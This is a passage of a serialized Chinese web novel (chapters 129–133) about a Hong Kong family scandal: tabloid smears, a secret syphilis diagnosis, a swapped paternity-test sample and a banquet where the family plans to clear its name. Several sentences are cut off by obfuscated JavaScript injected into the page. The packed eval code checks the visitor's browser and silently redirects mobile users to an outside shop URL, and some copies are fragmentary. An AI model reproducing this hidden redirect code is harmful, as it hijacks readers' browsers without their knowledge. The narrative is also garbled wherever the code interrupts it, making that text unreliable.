报道中,一位化名为“A先生”的“内部知情人士”,详细披露了赵家如何通过一个纯情大小姐从“凝悦”研发中心“骗取”了核心配方。报道附上了陈瑶之前在陆家药厂大吵大闹以及她和林晚晴密会的模糊监控截图,虽然看不清脸,但更足以引人遐想,将整个故事包装得“有图有真相”。 文章的笔锋极其辛辣,它没有直接说赵家偷窃,而是用一种“引人深思”的笔调,将赵家描绘成一个为了利益不择 手段、利用无知少女感情的卑劣之徒。并将展销会的惨败,归结于“小偷永远无法理解创造者的灵魂,他们虽然窃取了“形,却无法复制其“神。 这篇报道,瞬间引爆了整个商界!窃取商业机密,是商业竞争中最令人不齿的行为!赵家的信誉跌入谷底。 而此时的赵建邦已然因为展销会上的失利气得急火攻心而住院,梁美玲一个人焦头烂额苦苦支撑之时,港市最畅销的八卦杂志《东方秘闻》立刻跟上,抛出了一颗更具**性的“深水**。 杂志的封面,是楚小小抱着婴儿,与梁美玲在医院门口的抓拍照片。标题耸人听闻,充满了恶意揣测—— 主标题:《豪门疑云:早产的“龙孙,是冲喜的福星,还是压垮骆驼的最后一根稻草?》 副标题:“京市傅家弃妇,港岛赵家新宠?起底‘豪门寄生花’楚小小的两段离奇孕事! 文章的作者,以一个“资深豪门观察家的口吻,深扒了楚小小在京市的“黑历史扒了个底朝天。 “一位在京市就被证实过“对血统归属有撒谎前科的母亲; “一位在家族遭遇最大危机时“恰好 “一个连核心配方都靠“骗的家族…… “我们不禁要问:一个连自己怀的是谁的孩子都能搞错、并试图鱼目混珠的女人,我们凭什么相信,她这次生的,就一定是赵家的种?一个在京市就想用“假肚子讹上傅家的女人,她会不会故技 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16771284|190230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 重施,在港市用一个“真肚子,来讹上一个更大的豪门? 这个被赵家当作救命稻草大肆宣传的“第四代继承人,他的血脉,真的像他们说的那样纯正吗?还是说,这只是赵家和拜金女的联手,为了挽救股价,上演的又一出比“窃取配方更惊人的骗局呢? 毕竟,对于一个有“前科的演员来说,再演一次同样的角色,想必是驾轻就熟吧? 通篇言语犀利,措辞狠辣,就是指着赵家鼻子骂的檄文! 赵家别墅里,梁美玲看着这两份报纸和杂志,气得浑身发抖,几乎要将牙咬碎! “欺人太甚!简直是欺人太甚!她将杂志狠狠地撕成碎片,“陈慕白!傅清寒!我跟你们没完! 她知道,这是对方的组合拳!他们不仅要搞垮她的生意,还要毁掉她的名声,更要让她那个刚刚出世的“宝贝金孙,背上“野种的骂名! 这,她绝对不能忍! 就在她怒不可遏之时,她的私人电话响了。电话那头,是李伯苍老而又冰冷的声音: “梁美玲,报纸和杂志,我们都看到了。我不管这些是真是假,赵家的脸,已经被你们丢尽了! “我代表董事会,正式通知你。下个月初八的满月宴,将是你们最后的机会。如果在那天,你们不能给所有股东和社会一个满意的、能证明赵家清白的交代,那么,宴会结束后的第二天,我们就会立刻启动罢免程序,将你和赵宇轩,彻底踢出赵氏集团! 电话被“啪的一声挂断。 梁美玲握着听筒,手不住地颤抖。李伯的这番话,像最后一根稻草,彻底压垮了她强撑的神经! 内部的逼宫,加上外部的**绞杀!她已经被逼到了悬崖边上,退无可退! 她现在唯一的选择,就是在那场万众瞩目的满月宴上,用一份最权威的证据,来狠狠地回击所有质疑,堵住所有人的嘴! 第129章 意外收获 “亲子鉴定……”她喃喃自语,眼中闪烁着疯狂和决绝的光芒,“对!只有亲子鉴定!我要用最科学的证据,来证明我孙子的血统!” 但就在这个念头冒出来的同时,她后颈处那片让她心烦意乱的红疹,又传来了一阵难以忍受的瘙痒。 一个她拼命想要压抑下去的的念头,不受控制地再次浮上心头。 她的脑海里,不受控制地闪过报纸上赵建邦那张狼狈不堪的照片,以及那被红圈恶意标注出来的、同样丑陋的红色皮疹…… 她之前一直自欺欺人地告诉自己,这只是巧合,或许是最近压力太大导致的皮肤过敏。但现在,当“亲子鉴定”这个念头和“红疹”的瘙痒感同时出现时,她没办法再自欺欺人! 她和赵建邦……他们之间那些不见光的、肮脏的过往……那些纠缠了二十年的偷情岁月…… 而赵建邦的“风流病”丑闻,已经在全港市传得沸沸扬扬! 万一……万一自己身上的,也是…… 这个念头,让她如坠冰窟,浑身血液都几乎要凝固了!恶心和恐慌瞬间淹没了她! 自己费尽心思才扶儿子上位,自己才刚刚坐上太后的宝座,不能因为一个见不得人的脏病就前功尽弃! 她心中猛地一凛,她必须立即去看病,但她不能去赵家旗下的医院,更不能找那些相熟的医生。赵建邦的“丑闻”还没过去,她不能在这个节骨眼上,留下任何可能被人抓住把柄的记录。 她强迫自己冷静下来,在脑中飞速地筛选着人选。最终,她想到了一个人——一个在港市富豪圈里,以“嘴巴严、手段黑、专治各种疑难杂症”而出名的地下医生,黑市里人称“阎王敌”的张医生。 梁美玲自以为自己的计划天衣无缝,却不知道,在她秘密外出的那一刻,就已经落入监视之中。 安全屋别墅里,苏文赫指着监控屏幕上一个移动的红点,对傅清寒道:“部长,目标动了。一辆黑色的宾利,从赵家别墅的后门驶出,没有开车牌灯,正朝着九龙城寨的方向驶去。” “这个节骨眼不在家好好待着,还外出……说不定,这位赵家太后还给我们准备了什么意外的惊喜。”傅清寒的目光冷如寒冰,他拿起对讲机:“詹骁,派人跟上。保持安全距离,不要打 草惊蛇。我要知道她见了谁,说了什么,做了什么。” “收到!” 两辆毫不起眼的丰田轿车,如同黑夜中的幽灵,悄无声息地,从不同的街角滑出,远远地吊在了那辆宾利的后面。 当天深夜,梁美玲戴上墨镜和丝巾,遮得严严实实,由最心腹的保镖开车,悄悄地来到了一家位于九龙城寨边缘的、毫不起眼的中医诊所。 诊所内,灯光昏暗,弥漫着一股浓重的中药味。那位被称为“阎王敌”的张医生,是一个看起来精瘦干练的中年男人,他看了一眼梁美玲的症状,又仔细地为她把了脉,脸色变得越来越凝重。 “夫人,您这个病……有些棘手啊。”他捻着山羊胡,故意卖了个关子。 “别废话!到底是什么病?!”梁美玲不耐烦地喝道。 张医生这才慢悠悠地说道:“这病,中医称之为‘杨梅疮’,西医嘛……就叫梅毒。看您这症状,已经是二期了,再不治,就要入骨入髓,神仙难救了。” 梅毒! 尽管心中早有猜测,但当这两个字真正从医生口中说出时,梁美玲还是如遭雷击,浑身冰冷! 她强撑着最后一丝镇定,声音发颤地问道:“能……能治好吗?会不会留疤?最重要的是,能不能绝对保密!” “保密自然是没问题的,我这的规矩您懂。”张医生笑了笑,眼中闪过一丝贪婪,“至于治疗嘛……也不是不行。只是需要的药材,都比较罕见,价格嘛……” “钱不是问题!”梁美玲立刻打断他,“只要你能治好我,并且把嘴给我闭严了!多少钱都不是问题!” “好说,好说。”张医生一边开着药方,一边状似无意地说道,“说起来也巧,您这病,跟前两天赵先生的症状,简直是一模一样啊。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16771285|190230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 梁美玲的心,猛地一沉! 与此同时,诊所街对面的一个黑暗角落里。 一架高倍数、带夜视功能的摄像机,正无声地记录着诊所内发生的一切。 梁美玲的宾利车刚刚消失在街角,诊所那扇破旧的木门,就再次被“吱呀”一声推开了。 这一次,走进来的,是两个穿着黑色风衣、神情冷漠的男人。为首的,正是苏文赫。他身后那个如同铁塔般沉默的男人,则是傅清 寒身边的詹骁。 他没有说话只是静静地打量着这个昏暗的诊所随手将一块“今日休诊”的牌子挂在了门上并从里面反锁了大门。 正在柜台后整理药材的张医生看到这阵仗心中一凛但脸上却依旧堆着那副江湖郎中特有的、油滑的笑容。 “两位老板看病啊?不好意思今天已经打烊了要不明天请早?” 苏文赫没有理会他的话而是自顾自地拉过一张椅子坐了下来。他从口袋里掏出一块雪白的手帕慢条斯理地擦了擦手指然后将目光落在了张医生的脸上声音平淡却带着一股寒意。 “张医生是吧?黑市人称‘阎王敌’专治各种见不得光的疑难杂症收费昂贵但嘴巴很严。我说的对吗?” 张医生的脸色微微一变他意识到眼前这人来者不善。他干笑了一声:“这位先生说笑了我就是个普通的中医治点头疼脑热罢了。” “是吗?”苏文赫轻笑一声他从怀里拿出一部小巧的录音机按下了播放键。 录音机里清晰地传出了刚才梁美玲与张医生的对话: “……这病 “……钱不是问题!只要你能治好我并且把嘴给我闭严了!……” 录音只放了十几秒苏文赫便按下了暂停。 张医生的额头上瞬间渗出了一层细密的冷汗!他脸上的笑容再也挂不住了一双精明的眼睛里第一次露出了惊恐的神色。 他竟然被监听了!从什么时候开始的?! “你……你们到底是什么人?!”他声音发颤地问道。 第130章 请君入瓮 “我们是什么人不重要。”苏文赫将录音机收回口袋,然后又从另一个口袋里,拿出了一叠厚厚的文件,不轻不重地扔在了柜台上。 “重要的是,我们知道你是什么人。” “张德全,四十五岁,无牌行医二十三年。十五年前,因为非法堕胎,从内地潜逃至港市。十年前,因为出售假药,被仇家追杀,断了三根手指。这些年,你靠着给一些富豪治疗‘脏病’,赚了不少黑心钱,在瑞士银行的秘密账户里,存了大概……七百多万港币,对吗?” 苏文赫每说一句,张医生的脸色就白一分。当听到“七百多万”这个精准的数字时,他彻底崩溃了!双腿一软,几乎要瘫倒在地。 他引以为傲的“秘密”,在这个男人面前,就像一本被摊开的、写满了罪证的账本,一览无余! “你……你们……”他指着苏文赫,嘴唇哆嗦着,一个字也说不出来。 “我们老板对你的过去不感兴趣。”苏文赫站起身,走到他面前,居高临下地看着他,像在看一只可以随意碾死的蚂蚁。 “他只让我给你两个选择。” 苏文赫伸出一根手指:“第一,把刚才梁美玲的所有看诊记录、你偷偷录下的录音带,以及你开的药方底单,原封不动地交出来。然后,拿着你的钱,永远从港市消失。我们可以争取给你宽大处理。” 他顿了顿,伸出第二根手指,脸上的笑容变得冰冷而又残忍: “第二,你拒绝合作。那么,今晚之后,九龙城寨的臭水沟里,会多一具无名浮尸。而你那笔存在瑞士银行的钱,会以‘匿名捐赠’的方式,全部捐给防治性病的世界基金会。也算是……为你这辈子造的孽,积点阴德。” 说完,他不再言语,只是静静地看着张医生,等待着他的选择。 张医生看着苏文赫那双冷漠如冰的眼睛,只觉得一股彻骨的寒意从脚底直冲天灵盖!他知道,这个男人没有在开玩笑! 他毫不怀疑,如果自己说一个“不”字,下一秒自己就会从这个世界上彻底消失! “阎王敌”?在眼前这个真正的“阎王”面前,他连个小鬼都算不上! “我给!我全都给!”他再也没有了任何侥幸心理,像一条被抽掉了脊梁骨的狗,连滚带爬地从柜台 下的一个暗格里,捧出了一个铁皮盒子。 盒子里,装着的正是他刚刚记录下的、梁美玲的病历卡,以及那盘作为“护身符的录音带。 “东西都在这里了!求求你们,放我一条生路!他将盒子高高举过头顶,声音里充满了哀求。 苏文赫接过盒子,打开检查了一下,确认无误后,才满意地点了点头。 他冲身后的詹骁使了个眼色,詹骁立刻上前,将人带了出去,迎接这位草菅人命的黑医将会是法律的制裁 苏文赫拿着那个装有致命证据的铁皮盒子,转身,消失在了深沉的夜色之中。 梁美玲从黑诊所回到别墅,一夜未眠。满心都是对自己身染“恶疾的恐慌和对赵建邦的不满与恨意。 但天亮之后,她强迫自己冷静下来。眼下,保住她和宇轩在赵家的地位,才是头等大事。 她需要最权威的证据来反击流言,也要证明赵宇轩后继有人, “亲子鉴定!这个念头在脑海里冒了出来! 这样一份科学证据足以来回击所有流言蜚语,堵住董事会那群老家伙的嘴! 她不再有任何犹豫,立刻亲自带人,直奔医院。 然而她刚一出门,傅清寒等人就接到了线报。 “…看来…她已经决定做亲子鉴定了,现在正赶往医院。看来,我们这把火,烧得恰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16771286|190230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到好处。 傅清寒的目光,落在了苏文赫身上,声音冷静而沉稳:“文赫,赵建邦的样本,准备好了吗? “早就准备好了。苏文赫脸上露出一切尽在掌握的自信,“赵建邦住院的第二天,我就已经预料到可能会需要他的生物样本。所以,在他出院时,他病房里所有可能留下DNA的东西,从他睡过的枕头,到他用过的梳子,甚至是他垃圾桶里的废纸,我都让人以‘防疫规定’为由,全部打包封存了起来。 他顿了顿,补充道:“就在刚才,技术人员已经从一个枕套上,成功提取到了十几根带有清晰毛囊的头发样本,绝对干净,来源可靠。 “很好。傅清寒点了点头,随即,他眼中闪过一丝锐利的光芒,开始部署整个计划中最关键的一环。 “接下来,启动‘狸猫’计划。他的声音不大,却让房间里的每一个人都精神一振。 “第一,从现在开始,对梁美玲、王司机以及那份样本进行全程无死角监控,我要知道他们的每一个动作。 第二,傅清寒的目光,落在了那个从始至终都像影子一样,沉默地站在房间角落里的男人身上,“詹骁,替换样本的任务交给你。在行动中,你身上的**机必须全程开启,记录下所有关键证据。记住,我要的不是一个结果,而是一条完整的证据链。 詹骁从阴影中走出,那张如同刀削斧凿般的脸上没有任何多余的表情,他只是对着傅清寒,重重地点了一下头,声音嘶哑而又坚定: “保证完成任务! “第三,傅清寒的目光最后转向陈慕白和苏文赫,“在他们拿到鉴定报告后,立刻动用所有媒体资源,将满月宴的气氛给我炒到最热。我要让全港市都知道,梁美玲将在宴会上,公布一份‘证明赵家清白’的‘铁证’。她把台子搭得越高,将来摔下来的时候,才会越响。 第131章 偷天换日 圣玛丽医院,新生儿重症监护室(NICU)外。 梁美玲隔着厚厚的玻璃,看着保温箱里那个插着各种管子、皮肤通红、皱巴巴得像个小老鼠一样的早产儿,眼中没有丝毫心疼,只有冰冷的审视。 为了作秀拍的那几张“喜迎长孙”的照片,她找的是医院里一个刚出生的、白白胖胖的足月儿。真正的“赵家长孙”,因为早产,肺部发育不全,一出生就被送进了这里,连她这个当奶奶的,都只能隔着玻璃看上几眼。 但此刻,这些都不重要了。重要的是,这个孩子的“血统”,必须成为她反击**、稳定军心的最强武器。 她对身旁的院长和主治医生命令道:“我要立刻为这个孩子,和我儿子赵宇轩,做一份亲子鉴定!用你们医院最权威的技术,最快的速度!所有的费用,赵家双倍支付!” 院长和医生对视一眼,都从对方眼中看到了了然。他们当然看过报纸上那些铺天盖地的豪门八卦,也知道外界对这个孩子的血统充满了质疑。此刻梁美玲提出做亲子鉴定,在他们看来,正是为了反击谣言,是意料之中的事。两人立刻点头哈腰地应下:“是,是,赵夫人,我们马上安排。” 在梁美玲的亲自监督下,护士小心翼翼地从早产儿的足跟采集了血样。另一边,赵宇轩也极不情愿地让医生提取了口腔黏膜样本。 两份样本被分别装入无菌样本袋,贴上标签,放入一个特制的、带着复杂机械密码锁的银色冷藏箱中。 梁美玲亲自检查了密码锁,确认其牢不可破,然后才将冷藏箱,交给了她最信任的、跟了她十几年的心腹——王司机。 “老王,”她看着这个中年男人,语气异常凝重,“你亲自把这个送到港大基因鉴定中心去,交给那里的黄教授。一路上,不准假手于人,不准停车,更不准有任何耽搁!东西送到之前,这个箱子,不能离开你的视线一秒钟!明白吗?” “明白!夫人您放心!”老王郑重地点了点头,提着箱子,快步离去。 梁美玲看着老王离去的背影,心中稍定。她不相信医院,不相信任何人,只相信这个跟了自己半辈子、身家性命都捏在自己手里的老仆。 —— 两天后,王司机提着冷藏箱,驾驶着一辆黑色的奔驰 ,以最快的速度朝着港大基因鉴定中心的方向驶去。 他谨记着夫人的嘱托,一路上精神高度集中,眼观六路,耳听八方。 车辆行驶到中环的一处繁华路口,这里恰好有一个电影剧组正在封路拍摄。刺耳的警笛声、逼真的**、四散奔逃的“路人”群众演员,让整条街道都陷入了一种逼真的混乱之中。 王司机被堵在了路口,他烦躁地按着喇叭,但根本无济于事。他警惕地看了一眼副驾驶座上那个银色的冷藏箱,确认它安然无恙,才稍稍放下心来。 就在这时,意外发生了! 剧组一个“道具”**点,似乎因为失误而“提前引爆”,发出一声巨大的轰鸣!现场瞬间一片大乱,饰演“死尸”的龙虎武师们和受惊的“路人”群众演员四散奔逃,将王司机的车团团围住。 王司机被这突如其来的变故搞得头都大了!他急着下车理论,但又记着夫人的嘱托,不敢离开那个箱子。 就在这一片混乱之中,没有人注意到: 一个穿着环卫工制服的男人,推着他的清洁车,从奔驰车的另一侧“不经意”地路过。他戴着一顶旧草帽,帽檐压得很低,脸上也故意抹了些灰,看起来就是一个最普通的、被生活压弯了腰的底层工人。 但如果有人能看清他帽檐下的那双眼睛,就会发现,那是一双冷静到可怕、锐利如鹰隼的眼睛。 他不是别人,正是傅清寒最得力的手下,詹骁! 他弯下腰,像是要去捡一个被人群踢到车底的空汽水罐。他胸前一颗不起眼的纽扣,正是一台高清**机,无声地记录着一切。 他的身体,在捡东西的瞬间,极其自然地靠在了没有完全锁死的副驾驶车门上。车门,被“不小心”地挤开了一道缝。 詹骁的手,快如闪电,从宽大的袖口中滑出一串细小的、形状各异的金属拨片。他没有去看锁,全凭感觉,将一根极细的钢丝探入冷藏箱那看似复杂的机械密码锁的缝隙中。 摄像机忠实地记录下他那令人眼花缭乱的操作。他的手指以一种肉眼难以捕捉的频率飞快地拨动、试探。只听得“咔哒”几声极其轻微的、被街头喧嚣完全掩盖的声响,那个在王司机看来牢不可破的密码锁,竟被他从外部无损地打开了! 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16771287|190230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他以魔术师一般的敏捷迅速打开箱子。摄像机清晰地拍到,箱内放着两个样本袋,一个标签是“赵宇轩”,另一个是“新生儿(楚小小之子)”。 他迅速取出那个标记着“新生儿”的样本袋,并将其放入一个特殊的透明证物袋中封存。然后,他从口袋里拿出另一个外观一模一样的样本袋,放入冷藏箱。 在放入前,摄像机给了一个清晰的特写——这个新样本袋上,同样贴着“新生儿(楚小小之子)”的标签,但在标签的右下角,有一个用特殊墨水印上去的、肉眼几乎无法察觉的微型五角星标记。 他关上箱子,随意地将密码拨乱,让一切恢复原状。整个过程行云流水,快到极致。当他捡起汽水罐,推着清洁车离开时,就像一片叶入森林,没有留下任何痕迹。 另一边,剧组的混乱也很快平息。导演拿着扩音器对着王司机喊了几句“不好意思”,场务人员也迅速疏散了人群。 王司机如蒙大赦,他再次检查了一眼那个完好无损的冷藏箱,确认密码锁没有被动过的痕迹,这才长舒一口气,一脚油门,迅速驶离了这片是非之地。 **,就在刚才那短短的混乱中,孩子的标本已经被悄然替换成了赵建邦的。—— 三天后,一份由港大基因鉴定中心出具的、盖着钢印的权威报告,被密封在一个牛皮纸袋里,送到了梁美玲的手中。 她屏退了所有人,将自己反锁在书房里,双手颤抖地撕开了文件袋。 她迫不及待地翻到最后一页,寻找那个决定性的结论。 当她的目光,落在那行冰冷的、由电脑打印出来的结论上时,她整个人,都僵住了。 【经STR基因座比对,送检样本A(赵宇轩)与送检样本B(“新生儿”)的等位基因存在多个匹配位点,累计父权概率大于99.99%,在不考虑同卵双胞胎或近亲的情况下,可以认定两者之间存在亲生父子关系。】 “亲生父子关系……” 梁美玲喃喃地重复着这几个字,她反复地将这份报告看了三遍,确认每一个字都没有看错。 她长长地、长长地舒了一口气,整个人像是被抽掉了所有的力气,瘫倒在柔软的真皮座椅上。 是亲生的! 真的是亲生的! 第132章 满月宴 狂喜瞬间淹没了她,连日来的恐慌和焦虑一扫而空! 她猜错了!是她自己多心了!楚小小那个**,竟然真的给她生下了一个纯正的赵家血脉! 那些关于“野种”的流言蜚语,那些董事会的质疑,都将在这份铁一样的科学证据面前,被砸得粉碎! 她拿起报告,像是在欣赏一件绝世的艺术品,嘴角的笑容根本压不住,只见它越来越大,最终化为了一阵压抑不住的、歇斯底里的大笑! “哈哈哈哈……天不亡我赵家!天不亡我!” 她仿佛已经看到,在即将到来的满月宴上,自己将这份报告公之于众时,那些媒体记者和董事元老们脸上震惊而又信服的表情! 她仿佛已经看到,赵家的股价因为这份“铁证”而一飞冲天,所有危机都迎刃而解! 她仿佛已经看到,自己将以“赵家第四代继承人祖母”的身份,彻底坐稳这个豪门女主人的位置,再也无人可以撼动! “傅清寒……白凝凝……陈慕白……”她咬牙切齿地念着这几个名字,眼中迸发出怨毒又得意的光芒,“你们以为这样就能打垮我吗?做梦!等我缓过这口气,我一定会让你们,为今天的所作所为,付出千百倍的代价!” 她立刻拿起电话,对着那头的管家,意气风发的语气下令: “通知下去!满月宴,照常举办!不!要比原计划办得更盛大!更奢华!我要让全港市的人,都来见证我赵家血脉的纯正!见证我们赵家的大喜事!” 赵家要大办满月宴的消息,像一阵风,迅速传遍了整个港市的上流社会。 所有人都觉得,梁美玲疯了。 在集团股价暴跌、丑闻缠身的节骨眼上,不想着如何公关危机,反而要斥巨资办一场奢华的宴会?这不是脑子坏了是什么? 一时间,港市的名流圈里,充满了对赵家的嘲讽和看好戏的心态。那一张张制作精美的烫金请柬,在他们眼中,仿佛不是喜帖,而是一张场面盛大的“小丑表演”的入场券。 但无论外界如何议论,赵家的满月宴筹备,依旧如火如荼地进行着。梁美玲亲自坐镇,从酒店的选址、菜单的设计,到现场的鲜花布置,每一个细节都要求尽善尽美,仿佛要用这场极致的奢华,来掩盖家族那早已千疮百孔的 内里。 赵宇轩也因为这份“铁证”和即将到来的“正名时刻”,重新变得不可一世。他开着跑车,流连于各种高级会所,对那些曾经在背后议论过他的人,极尽嘲讽之能事。 “怎么?现在不觉得我是个笑话了?”他将一杯价值不菲的威士忌泼在一个曾经嘲笑过他的富二代脸上,用酒瓶指着对方的鼻子,嚣张地说道,“我告诉你!老子不仅是赵家的继承人,老子现在还有儿子继承家业!你们呢?你们除了会花家里的钱,还有什么?!” 而梁美玲,则将所有的精力都投入到了这场满月宴的筹备中。 自从知道自己也染上了那肮脏的“恶疾”后,她对还在疗养院里“养病”的赵建邦,就充满了刻骨的憎恨和鄙夷。 在她看来,赵建邦已经是一个没用的、只会拖后腿的废物。 与其和他捆绑在一起,等待沉船,不如趁此机会,彻底将他抛开!她要扶持的,是“自己”的儿子赵宇轩! 她要借着这场满月宴,将赵宇轩的地位彻底巩固,将“第四代继承人”的概念深入人心。只要宇轩能站稳脚跟,她就能以“拥立之功”的皇太后身份,名正言顺地插手集团事务,将权力牢牢地抓在自己手里! 因此,她对外宣称“赵建邦先生身体抱恙,需静心休养,不便出席”,实则已经做好了彻底抛弃这个旧情人的准备。—— 下月初八,港市君悦酒店,水晶宴会厅。 这一晚,港市所有的聚光灯,都汇集于此。酒店门口,豪车云集,从劳斯莱斯到宾利,几乎囊括了港市所有的顶级富豪座驾。盛装出席的名媛贵妇、西装革履的商界大佬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16771288|190230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,以及扛着“**短炮”的媒体记者,将整个大厅挤得水泄不通。 所有人的脸上,都带着一种心照不宣的、看好戏的表情。他们来不是为了祝贺,而是为了见证。见证一个曾经辉煌的家族,将如何上演它最后的荒诞独角戏。 宴会厅内,金碧辉煌,布置得如同皇室宫殿。巨大的水晶吊灯下,悠扬的古典乐在空气中流淌。 梁美玲穿着一身量身定制的紫罗兰色旗袍,脖子上戴着一串鸽血红宝石项链,整个人显得雍容华贵,容光焕发。她抱着那个用明黄色锦缎包裹着的婴儿,与赵宇轩一起,穿梭在宾客之中,脸上挂着胜利者般的微笑 。 而紧跟在梁美玲身侧的楚小小,虽不如梁美玲的华贵,但也是精心打扮过的。 她一身藕荷色礼服,款式温婉柔顺,恰到好处地衬托出她产后依旧纤细的身材。她脸上画着精致的妆容,一扫之前的苍白与憔悴,那双总是含着怯意的眼睛里,此刻正闪烁着一种压抑不住的、扬眉吐气的微光。 她知道,今晚,是她的“正名之夜! 那份由梁美玲亲手促成的“亲子鉴定报告,就是她洗脱所有“野种污名的最佳证明!她再也不是那个任人拿捏、随时可能被抛弃的“生育工具,而是名正言顺的、赵家第四代继承人的亲生母亲! 她享受着周围宾客们投来的那些或探究、或嫉妒、或艳羡的目光。她微微挺直了腰杆,嘴角噙着一抹得体的、属于胜利者的微笑。她在心里冷笑:霍思晴又怎么样?其他豪门世家小姐又怎样?还不是连赵家的门都进不来!而我,已经为赵家生下了长孙!我才是笑到最后的人! 她甚至已经开始盘算,等今晚过后,该如何利用“长孙之母的身份,一步步地稳固将自己在这个家里的地位,这是自己从一个“工具,变成一个真正能说得上话的“主子 然而,就在楚小小沉浸在这种“未来可期的得意之中时,宴会厅的门口,传来了一阵不小的骚动。 第133章 好戏开场 一个女人的出现,瞬间就夺走了全场大半的目光。 霍思晴到了。 她虽然一开始并不想来,但苏家苏文赫却在前几天盛情邀请她一起参加。 苏文赫是承熙的表哥,也是他最好的朋友。他说请自己看一场大戏,那她来一趟看看倒也无不可。 她穿着一身剪裁利落的黑色香奈儿裤装,与满场的珠光宝气格格不入。长发高高束起,露出光洁饱满的额头和天鹅般优美的颈项。她脸上没有多余的表情,神情清冷,气场强大,整个人像一株于冰雪中傲然绽放的黑色郁金香,高贵疏离,却又带着致命的吸引力。 楚小小脸上的笑容,在看到霍思晴的那一刻,瞬间僵住了。 强烈的危机感,像一盆冰水兜头浇灭了她刚刚燃起的得意火焰! 她下意识地看了一眼身旁的赵宇轩。 果不其然! 赵宇轩那双原本还在宾客间游移的眼睛,在看到霍思晴的瞬间,就像是被磁石吸住了一样,再也移不开了!他的眼中,毫不掩饰迸发出惊艳、贪婪和志在必得的灼热光芒!楚小小不会认错,那是一种男人看待自己心仪猎物的眼神! 甚至,赵宇轩还下意识地整理了一下自己的领带,脸上堆起一个自以为最英俊潇洒的笑容,竟想撇下自己和孩子,主动迎上去! “宇轩!”梁美玲在旁边,不动声色地,用手肘狠狠地顶了一下自己的儿子,低声警告道,“注意你的身份!别忘了今天是什么场合!” 赵宇轩这才如梦初醒,但他的目光,却依旧恋恋不舍地追随着霍思晴的身影,嘴里还兴奋地喃喃自语:“她来了……她竟然真的来了!妈,你看,她是不是后悔了?她一定是看到我们赵家又起来了,看到我有了儿子,地位稳固,所以才主动过来示好的!” 这番自作多情的话,像一根根毒刺,狠狠地扎进了楚小小的耳朵里! 她看着赵宇轩那副被迷得神魂颠倒的模样,又看了看远处那个只是站在那里,就轻易夺走全场光芒的霍思晴,心中那刚刚升起的“扬眉吐气”,瞬间变成了强烈的嫉妒和不甘! 凭什么?! 这个女人,明明已经拒绝了赵家,明明是他们的“敌人”,为什么还能让赵宇轩如此魂不守舍?!自己为他生了儿子,为 赵家立下了“汗马功劳”在他心里难道还比不上一个永远得不到的女人吗?! 楚小小死死地掐着自己的手心强迫自己挤出微笑。但她的心里却在疯狂地尖叫:等着吧!等今晚过后等我的地位彻底稳固我一定要让你们所有人都知道谁才是这个家未来的女主人!霍思晴你今天来看我的笑话总有一天我要让你跪着来求我! 而另一边霍思晴没有理会周围投来的各种目光也没有在意赵宇轩那露骨的注视。她径直走到一个不起眼的角落端起一杯香槟像一个局外人冷眼旁观。 她今天来就是为了亲眼看看这群跳梁小丑到底要如何收场。 宴会进行到高潮所有的灯光都暗了下来只留下一束追光打在了舞台中央。 梁美玲抱着婴儿在赵宇轩的搀扶下缓缓地走上了舞台。 “各位来宾各位媒体朋友感谢大家在百忙之中来参加我孙儿的满月喜宴。” 她的声音通过麦克风清晰地传遍了整个宴会厅。她先是感谢了一番宾客随即话锋一转脸上露出了一个“悲愤”而又“委屈”的表情。 “我知道最近一段时间我们赵家经历了一些风波。外界对我们对宇轩甚至……对我怀里这个刚刚满月的孩子都有很多不好的流言蜚语。” 